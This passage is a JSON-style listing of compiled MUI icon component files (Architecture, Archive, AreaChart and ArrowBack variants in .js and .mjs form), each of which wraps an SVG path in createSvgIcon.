    "path": "packages/mui-icons-material/lib/Architecture.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.36 18.78 6.61 21l1.62-1.54 2.77-7.6c-.68-.17-1.28-.51-1.77-.98zm8.41-7.9c-.49.47-1.1.81-1.77.98l2.77 7.6L17.39 21l.26-2.22zM15 8c0-1.3-.84-2.4-2-2.82V3h-2v2.18C9.84 5.6 9 6.7 9 8c0 1.66 1.34 3 3 3s3-1.34 3-3m-3 1c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'Architecture');"
  },
  {
    "path": "packages/mui-icons-material/lib/Architecture.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.36 18.78 6.61 21l1.62-1.54 2.77-7.6c-.68-.17-1.28-.51-1.77-.98zm8.41-7.9c-.49.47-1.1.81-1.77.98l2.77 7.6L17.39 21l.26-2.22zM15 8c0-1.3-.84-2.4-2-2.82V3h-2v2.18C9.84 5.6 9 6.7 9 8c0 1.66 1.34 3 3 3s3-1.34 3-3m-3 1c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'Architecture');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArchitectureOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.36 18.78 6.61 21l1.62-1.54 2.77-7.6c-.68-.17-1.28-.51-1.77-.98zm8.41-7.9c-.49.47-1.1.81-1.77.98l2.77 7.6L17.39 21l.26-2.22zM15 8c0-1.3-.84-2.4-2-2.82V3h-2v2.18C9.84 5.6 9 6.7 9 8c0 1.66 1.34 3 3 3s3-1.34 3-3m-3 1c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'ArchitectureOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArchitectureOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.36 18.78 6.61 21l1.62-1.54 2.77-7.6c-.68-.17-1.28-.51-1.77-.98zm8.41-7.9c-.49.47-1.1.81-1.77.98l2.77 7.6L17.39 21l.26-2.22zM15 8c0-1.3-.84-2.4-2-2.82V3h-2v2.18C9.84 5.6 9 6.7 9 8c0 1.66 1.34 3 3 3s3-1.34 3-3m-3 1c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'ArchitectureOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArchitectureRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.36 18.78 6.61 21l1.62-1.54 2.77-7.6c-.68-.17-1.28-.51-1.77-.98zm8.41-7.9c-.49.47-1.1.81-1.77.98l2.77 7.6L17.39 21l.26-2.22zm.17-2.28c.3-1.56-.6-2.94-1.94-3.42V4c0-.55-.45-1-1-1s-1 .45-1 1v1.18C9.84 5.6 9 6.7 9 8c0 1.84 1.66 3.3 3.56 2.95 1.18-.22 2.15-1.17 2.38-2.35M12 9c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'ArchitectureRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArchitectureRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.36 18.78 6.61 21l1.62-1.54 2.77-7.6c-.68-.17-1.28-.51-1.77-.98zm8.41-7.9c-.49.47-1.1.81-1.77.98l2.77 7.6L17.39 21l.26-2.22zm.17-2.28c.3-1.56-.6-2.94-1.94-3.42V4c0-.55-.45-1-1-1s-1 .45-1 1v1.18C9.84 5.6 9 6.7 9 8c0 1.84 1.66 3.3 3.56 2.95 1.18-.22 2.15-1.17 2.38-2.35M12 9c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'ArchitectureRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArchitectureSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.36 18.78 6.61 21l1.62-1.54 2.77-7.6c-.68-.17-1.28-.51-1.77-.98zm8.41-7.9c-.49.47-1.1.81-1.77.98l2.77 7.6L17.39 21l.26-2.22zM15 8c0-1.3-.84-2.4-2-2.82V3h-2v2.18C9.84 5.6 9 6.7 9 8c0 1.66 1.34 3 3 3s3-1.34 3-3m-3 1c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'ArchitectureSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArchitectureSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.36 18.78 6.61 21l1.62-1.54 2.77-7.6c-.68-.17-1.28-.51-1.77-.98zm8.41-7.9c-.49.47-1.1.81-1.77.98l2.77 7.6L17.39 21l.26-2.22zM15 8c0-1.3-.84-2.4-2-2.82V3h-2v2.18C9.84 5.6 9 6.7 9 8c0 1.66 1.34 3 3 3s3-1.34 3-3m-3 1c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'ArchitectureSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArchitectureTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.36 18.78 6.61 21l1.62-1.54 2.77-7.6c-.68-.17-1.28-.51-1.77-.98zm8.41-7.9c-.49.47-1.1.81-1.77.98l2.77 7.6L17.39 21l.26-2.22zM15 8c0-1.3-.84-2.4-2-2.82V3h-2v2.18C9.84 5.6 9 6.7 9 8c0 1.66 1.34 3 3 3s3-1.34 3-3m-3 1c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'ArchitectureTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArchitectureTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.36 18.78 6.61 21l1.62-1.54 2.77-7.6c-.68-.17-1.28-.51-1.77-.98zm8.41-7.9c-.49.47-1.1.81-1.77.98l2.77 7.6L17.39 21l.26-2.22zM15 8c0-1.3-.84-2.4-2-2.82V3h-2v2.18C9.84 5.6 9 6.7 9 8c0 1.66 1.34 3 3 3s3-1.34 3-3m-3 1c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'ArchitectureTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Archive.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.54 5.23-1.39-1.68C18.88 3.21 18.47 3 18 3H6c-.47 0-.88.21-1.16.55L3.46 5.23C3.17 5.57 3 6.02 3 6.5V19c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V6.5c0-.48-.17-.93-.46-1.27M12 17.5 6.5 12H10v-2h4v2h3.5zM5.12 5l.81-1h12l.94 1z\"\n}), 'Archive');"
  },
  {
    "path": "packages/mui-icons-material/lib/Archive.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.54 5.23-1.39-1.68C18.88 3.21 18.47 3 18 3H6c-.47 0-.88.21-1.16.55L3.46 5.23C3.17 5.57 3 6.02 3 6.5V19c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V6.5c0-.48-.17-.93-.46-1.27M12 17.5 6.5 12H10v-2h4v2h3.5zM5.12 5l.81-1h12l.94 1z\"\n}), 'Archive');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArchiveOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.54 5.23-1.39-1.68C18.88 3.21 18.47 3 18 3H6c-.47 0-.88.21-1.16.55L3.46 5.23C3.17 5.57 3 6.02 3 6.5V19c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V6.5c0-.48-.17-.93-.46-1.27M6.24 5h11.52l.81.97H5.44zM5 19V8h14v11zm8.45-9h-2.9v3H8l4 4 4-4h-2.55z\"\n}), 'ArchiveOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArchiveOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.54 5.23-1.39-1.68C18.88 3.21 18.47 3 18 3H6c-.47 0-.88.21-1.16.55L3.46 5.23C3.17 5.57 3 6.02 3 6.5V19c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V6.5c0-.48-.17-.93-.46-1.27M6.24 5h11.52l.81.97H5.44zM5 19V8h14v11zm8.45-9h-2.9v3H8l4 4 4-4h-2.55z\"\n}), 'ArchiveOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArchiveRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.54 5.23-1.39-1.68C18.88 3.21 18.47 3 18 3H6c-.47 0-.88.21-1.16.55L3.46 5.23C3.17 5.57 3 6.02 3 6.5V19c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V6.5c0-.48-.17-.93-.46-1.27m-8.89 11.92L6.5 12H10v-2h4v2h3.5l-5.15 5.15c-.19.19-.51.19-.7 0M5.12 5l.81-1h12l.94 1z\"\n}), 'ArchiveRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArchiveRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.54 5.23-1.39-1.68C18.88 3.21 18.47 3 18 3H6c-.47 0-.88.21-1.16.55L3.46 5.23C3.17 5.57 3 6.02 3 6.5V19c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V6.5c0-.48-.17-.93-.46-1.27m-8.89 11.92L6.5 12H10v-2h4v2h3.5l-5.15 5.15c-.19.19-.51.19-.7 0M5.12 5l.81-1h12l.94 1z\"\n}), 'ArchiveRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArchiveSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.71 3H5.29L3 5.79V21h18V5.79zM12 17.5 6.5 12H10v-2h4v2h3.5zM5.12 5l.81-1h12l.94 1z\"\n}), 'ArchiveSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArchiveSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.71 3H5.29L3 5.79V21h18V5.79zM12 17.5 6.5 12H10v-2h4v2h3.5zM5.12 5l.81-1h12l.94 1z\"\n}), 'ArchiveSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArchiveTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V8H5zm5.55-6v-3h2.91v3H16l-4 4-4-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 13h-2.55v-3h-2.9v3H8l4 4zm4.54-7.77-1.39-1.68C18.88 3.21 18.47 3 18 3H6c-.47 0-.88.21-1.16.55L3.46 5.23C3.17 5.57 3 6.02 3 6.5V19c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V6.5c0-.48-.17-.93-.46-1.27M6.24 5h11.52l.81.97H5.44zM19 19H5V8h14z\"\n}, \"1\")], 'ArchiveTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArchiveTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V8H5zm5.55-6v-3h2.91v3H16l-4 4-4-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 13h-2.55v-3h-2.9v3H8l4 4zm4.54-7.77-1.39-1.68C18.88 3.21 18.47 3 18 3H6c-.47 0-.88.21-1.16.55L3.46 5.23C3.17 5.57 3 6.02 3 6.5V19c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V6.5c0-.48-.17-.93-.46-1.27M6.24 5h11.52l.81.97H5.44zM19 19H5V8h14z\"\n}, \"1\")], 'ArchiveTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AreaChart.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 13v7h18v-1.5l-9-7L8 17zm0-6 4 3 5-7 5 4h4v8.97l-9.4-7.31-3.98 5.48L3 10.44z\"\n}), 'AreaChart');"
  },
  {
    "path": "packages/mui-icons-material/lib/AreaChart.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 13v7h18v-1.5l-9-7L8 17zm0-6 4 3 5-7 5 4h4v8.97l-9.4-7.31-3.98 5.48L3 10.44z\"\n}), 'AreaChart');"
  },
  {
    "path": "packages/mui-icons-material/lib/AreaChartOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17 7-5-4-5 7-4-3v13h18V7zm2 9.95-7-5.45L8 17l-3-2.4V11l2.44 1.83 4.96-6.95L16.3 9H19z\"\n}), 'AreaChartOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AreaChartOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17 7-5-4-5 7-4-3v13h18V7zm2 9.95-7-5.45L8 17l-3-2.4V11l2.44 1.83 4.96-6.95L16.3 9H19z\"\n}), 'AreaChartOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AreaChartRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m8 17 3.39-4.66c.33-.46.98-.55 1.42-.2L21 18.5v.5c0 .55-.45 1-1 1H4c-.55 0-1-.45-1-1v-5.72c.22 0 .44.07.62.22zm-5-6c.44 0 .88.15 1.25.44l3.37 2.69 2.77-3.81c.66-.91 1.95-1.1 2.85-.4L21 15.97V8c0-.55-.45-1-1-1h-3l-4.18-3.34c-.45-.36-1.1-.27-1.44.2L7 10 3.6 7.45c-.18-.13-.39-.2-.6-.2z\"\n}), 'AreaChartRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AreaChartRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m8 17 3.39-4.66c.33-.46.98-.55 1.42-.2L21 18.5v.5c0 .55-.45 1-1 1H4c-.55 0-1-.45-1-1v-5.72c.22 0 .44.07.62.22zm-5-6c.44 0 .88.15 1.25.44l3.37 2.69 2.77-3.81c.66-.91 1.95-1.1 2.85-.4L21 15.97V8c0-.55-.45-1-1-1h-3l-4.18-3.34c-.45-.36-1.1-.27-1.44.2L7 10 3.6 7.45c-.18-.13-.39-.2-.6-.2z\"\n}), 'AreaChartRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AreaChartSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 13v7h18v-1.5l-9-7L8 17zm0-6 4 3 5-7 5 4h4v8.97l-9.4-7.31-3.98 5.48L3 10.44z\"\n}), 'AreaChartSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AreaChartSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 13v7h18v-1.5l-9-7L8 17zm0-6 4 3 5-7 5 4h4v8.97l-9.4-7.31-3.98 5.48L3 10.44z\"\n}), 'AreaChartSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AreaChartTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19 16.95-7-5.45L8 17l-3-2.4V11l2.44 1.83 4.96-6.95L16.3 9H19z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17 7-5-4-5 7-4-3v13h18V7zm2 9.95-7-5.45L8 17l-3-2.4V11l2.44 1.83 4.96-6.95L16.3 9H19z\"\n}, \"1\")], 'AreaChartTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AreaChartTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19 16.95-7-5.45L8 17l-3-2.4V11l2.44 1.83 4.96-6.95L16.3 9H19z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m17 7-5-4-5 7-4-3v13h18V7zm2 9.95-7-5.45L8 17l-3-2.4V11l2.44 1.83 4.96-6.95L16.3 9H19z\"\n}, \"1\")], 'AreaChartTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowBack.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.41L7.83 13H20z\"\n}), 'ArrowBack');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowBack.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.41L7.83 13H20z\"\n}), 'ArrowBack');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowBackIos.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.67 3.87 9.9 2.1 0 12l9.9 9.9 1.77-1.77L3.54 12z\"\n}), 'ArrowBackIos');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowBackIos.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.67 3.87 9.9 2.1 0 12l9.9 9.9 1.77-1.77L3.54 12z\"\n}), 'ArrowBackIos');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowBackIosNew.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.77 3.77 16 2 6 12l10 10 1.77-1.77L9.54 12z\"\n}), 'ArrowBackIosNew');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowBackIosNew.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.77 3.77 16 2 6 12l10 10 1.77-1.77L9.54 12z\"\n}), 'ArrowBackIosNew');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowBackIosNewOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.77 3.77 16 2 6 12l10 10 1.77-1.77L9.54 12z\"\n}), 'ArrowBackIosNewOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowBackIosNewOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.77 3.77 16 2 6 12l10 10 1.77-1.77L9.54 12z\"\n}), 'ArrowBackIosNewOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowBackIosNewRounded.js",
